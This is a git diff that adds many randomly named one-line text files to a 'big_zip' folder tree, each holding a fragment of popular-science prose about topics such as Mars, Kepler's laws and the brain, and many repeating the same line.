+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_hwpltlkjdsig.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_igroudstqhrhyct.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_igroudstqhrhyct.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_igroudstqhrhyct.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_jnhdrxlvqnyyqyqvyecdur.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_jnhdrxlvqnyyqyqvyecdur.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_jnhdrxlvqnyyqyqvyecdur.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_khtmkjdceseyghkdt.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_khtmkjdceseyghkdt.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_khtmkjdceseyghkdt.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_libmbtnwgjsfwzqllaylja.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_libmbtnwgjsfwzqllaylja.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_libmbtnwgjsfwzqllaylja.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_mayoutdulip.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_mayoutdulip.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_mayoutdulip.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_mvdpucrdnfdpjizwasxrjzye.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_mvdpucrdnfdpjizwasxrjzye.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_mvdpucrdnfdpjizwasxrjzye.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_ofecbqbkfwbsgbungfuolv.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_ofecbqbkfwbsgbungfuolv.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_ofecbqbkfwbsgbungfuolv.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_ppderuub.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_ppderuub.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_ppderuub.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_qsikmihsgwbjrpollvzpcx.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_qsikmihsgwbjrpollvzpcx.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_qsikmihsgwbjrpollvzpcx.txt
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+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_sdzojppeemwfmqjhm.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_sdzojppeemwfmqjhm.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_sdzojppeemwfmqjhm.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_szenvuqywicizdgtwp.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_szenvuqywicizdgtwp.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_szenvuqywicizdgtwp.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_uhjfcazqlemn.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_uhjfcazqlemn.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_uhjfcazqlemn.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_vaaoxjdw.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_vaaoxjdw.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_vaaoxjdw.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_vcklptbfchamko.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_vcklptbfchamko.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_vcklptbfchamko.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_wjlygnfxgatpt.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_wjlygnfxgatpt.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_wjlygnfxgatpt.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_wzfwjtnbhnuezhpnl.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_wzfwjtnbhnuezhpnl.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_wzfwjtnbhnuezhpnl.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_xxbihwzeoxf.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_xxbihwzeoxf.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_xxbihwzeoxf.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_yfnknmwejpyvoydgetrkq.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_yfnknmwejpyvoydgetrkq.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_yfnknmwejpyvoydgetrkq.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_ykpltqhyz.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_ykpltqhyz.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_ykpltqhyz.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_zgdtucskajehmheggqe.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_zgdtucskajehmheggqe.txt
new file mode 100644
index 0000000..5c92dd7
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/file_zgdtucskajehmheggqe.txt
@@ -0,0 +1 @@
+the two hemispheres, channeled through an immense bundle of nerves, the corpus
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/hesbixgmhvdnte.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/hesbixgmhvdnte.txt
new file mode 100644
index 0000000..bfc6b4f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/hesbixgmhvdnte.txt
@@ -0,0 +1 @@
+country, forced to live by its wits, its foreign policy contained a strong pacifist element.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/kvczpszyeh.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/kvczpszyeh.txt
new file mode 100644
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--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/kvczpszyeh.txt
@@ -0,0 +1 @@
+modern industrial civilization - apartment houses, automobiles, streetcars, urban slums, a
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/lbhmcwozbynszquqztmhkjb.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/lbhmcwozbynszquqztmhkjb.txt
new file mode 100644
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--- /dev/null
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@@ -0,0 +1 @@
+information could be passed on merely by word of mouth, how little we should know of our
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/lcvdgeiqc.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/lcvdgeiqc.txt
new file mode 100644
index 0000000..5d8927d
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/lcvdgeiqc.txt
@@ -0,0 +1 @@
+undiscovered. Lowell always said that the regularity of the canals was an unmistakable sign
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/lebamonnvptiakkzjdik.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/lebamonnvptiakkzjdik.txt
new file mode 100644
index 0000000..5c6e260
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/lebamonnvptiakkzjdik.txt
@@ -0,0 +1 @@
+the sides of right triangles perfectly obey simple mathematical relationships. It was in
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/nblaidui.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/nblaidui.txt
new file mode 100644
index 0000000..5d2050f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/nblaidui.txt
@@ -0,0 +1 @@
+All three of Kepler’s laws of planetary motion can be derived from Newtonian
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/nnjjwoljiaohsmogaito.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/nnjjwoljiaohsmogaito.txt
new file mode 100644
index 0000000..c6e2593
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/nnjjwoljiaohsmogaito.txt
@@ -0,0 +1 @@
+animal and stick it with the spear.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/oblyyjubjzei.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/oblyyjubjzei.txt
new file mode 100644
index 0000000..194d9e2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/oblyyjubjzei.txt
@@ -0,0 +1 @@
+Vishniac did not claim that there had to be life on Mars, merely that it was possible, and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/psmginswy.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/psmginswy.txt
new file mode 100644
index 0000000..33121ee
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/psmginswy.txt
@@ -0,0 +1 @@
+towards the east. Suddenly, the upper horn split in two. From the midpoint of the
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rbnwxbizboniztd.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rbnwxbizboniztd.txt
new file mode 100644
index 0000000..ac94ba1
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rbnwxbizboniztd.txt
@@ -0,0 +1 @@
+television ignored the mission almost altogether. When it became clear that a definitive
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rdsmoyapyckecogwidigo.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rdsmoyapyckecogwidigo.txt
new file mode 100644
index 0000000..106124f
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rdsmoyapyckecogwidigo.txt
@@ -0,0 +1 @@
+incidental benefit, a kind of X-ray vision. Eventually, like a falling leaf, our square slowly
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rjepaleqhymmdrfyy.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rjepaleqhymmdrfyy.txt
new file mode 100644
index 0000000..d08d6f4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rjepaleqhymmdrfyy.txt
@@ -0,0 +1 @@
+year leave of absence to pursue this project, to my colleagues and students there, and to my
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rparqreeioirevybwqfsw.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rparqreeioirevybwqfsw.txt
new file mode 100644
index 0000000..d6d0a88
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/rparqreeioirevybwqfsw.txt
@@ -0,0 +1 @@
+In that titanic cosmic explosion, the universe began an expansion which has never
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/sdsuordjnovoowdulwyx.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/sdsuordjnovoowdulwyx.txt
new file mode 100644
index 0000000..3a5e43b
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/sdsuordjnovoowdulwyx.txt
@@ -0,0 +1 @@
+What percentage of the lifetime of a planet is marked by a technical civilization?
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/uwpxukhkdfmzoybg.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/uwpxukhkdfmzoybg.txt
new file mode 100644
index 0000000..d1370a2
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/uwpxukhkdfmzoybg.txt
@@ -0,0 +1 @@
+Two of the other three experiments also chose to send food to the Martians. The success of
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/vmxvqvrl.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/vmxvqvrl.txt
new file mode 100644
index 0000000..5862167
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/vmxvqvrl.txt
@@ -0,0 +1 @@
+that will reach back to us in our littleness to know us better than we know ourselves.
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/zzsvvtjvwmltnuj.txt b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/zzsvvtjvwmltnuj.txt
new file mode 100644
index 0000000..b6f987c
--- /dev/null
+++ b/big_zip/big-zip-files/folder_etsqcjcxom/folder_qgwvqyyugf/folder_zqxdojrcby/zzsvvtjvwmltnuj.txt
@@ -0,0 +1 @@
+the greatest of human inventions, binding together people, citizens of distant epochs, who
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_difpqovpdbniykiryexfvbdy.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_difpqovpdbniykiryexfvbdy.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_difpqovpdbniykiryexfvbdy.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_ffmckpduofbav.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_ffmckpduofbav.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_ffmckpduofbav.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_lfrghorjknhmx.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_lfrghorjknhmx.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_lfrghorjknhmx.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_nggopzxarsyqbpumrqnqfot.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_nggopzxarsyqbpumrqnqfot.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_nggopzxarsyqbpumrqnqfot.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_nlkmibma.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_nlkmibma.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_nlkmibma.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_ojynxkgknxfntlgiffkg.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_ojynxkgknxfntlgiffkg.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_ojynxkgknxfntlgiffkg.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_otfvbvxamldy.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_otfvbvxamldy.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_otfvbvxamldy.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_pmxvufmnox.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_pmxvufmnox.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_pmxvufmnox.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_qhzrgvtrk.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_qhzrgvtrk.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_qhzrgvtrk.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_qwewgrahulkghgoyxvgtay.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_qwewgrahulkghgoyxvgtay.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_qwewgrahulkghgoyxvgtay.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_qzozjyiiry.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_qzozjyiiry.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_qzozjyiiry.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_vjrkraysmaea.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_vjrkraysmaea.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_vjrkraysmaea.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_voktnfzjgdqzurch.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_voktnfzjgdqzurch.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_voktnfzjgdqzurch.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_xvtbwiwqdllundrv.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_xvtbwiwqdllundrv.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_xvtbwiwqdllundrv.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/file_znqapdkji.txt b/big_zip/big-zip-files/folder_faecmxlvnp/file_znqapdkji.txt
new file mode 100644
index 0000000..51ea358
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/file_znqapdkji.txt
@@ -0,0 +1 @@
+‘They know all . . . what shall we do with them now? Let their sight reach only to
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_anhnyrsg.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_anhnyrsg.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_anhnyrsg.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_bzrleoebbzfy.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_bzrleoebbzfy.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_bzrleoebbzfy.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_desuibiwrfqsbcla.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_desuibiwrfqsbcla.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_desuibiwrfqsbcla.txt
@@ -0,0 +1 @@
+trading ships to plow the seas of space. On all these ships there would be symbols and
\ No newline at end of file
diff --git a/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_gawjuegq.txt b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_gawjuegq.txt
new file mode 100644
index 0000000..15be1e4
--- /dev/null
+++ b/big_zip/big-zip-files/folder_faecmxlvnp/folder_xafqoaezoe/file_gawjuegq.txt
@@ -0,0 +1 @@
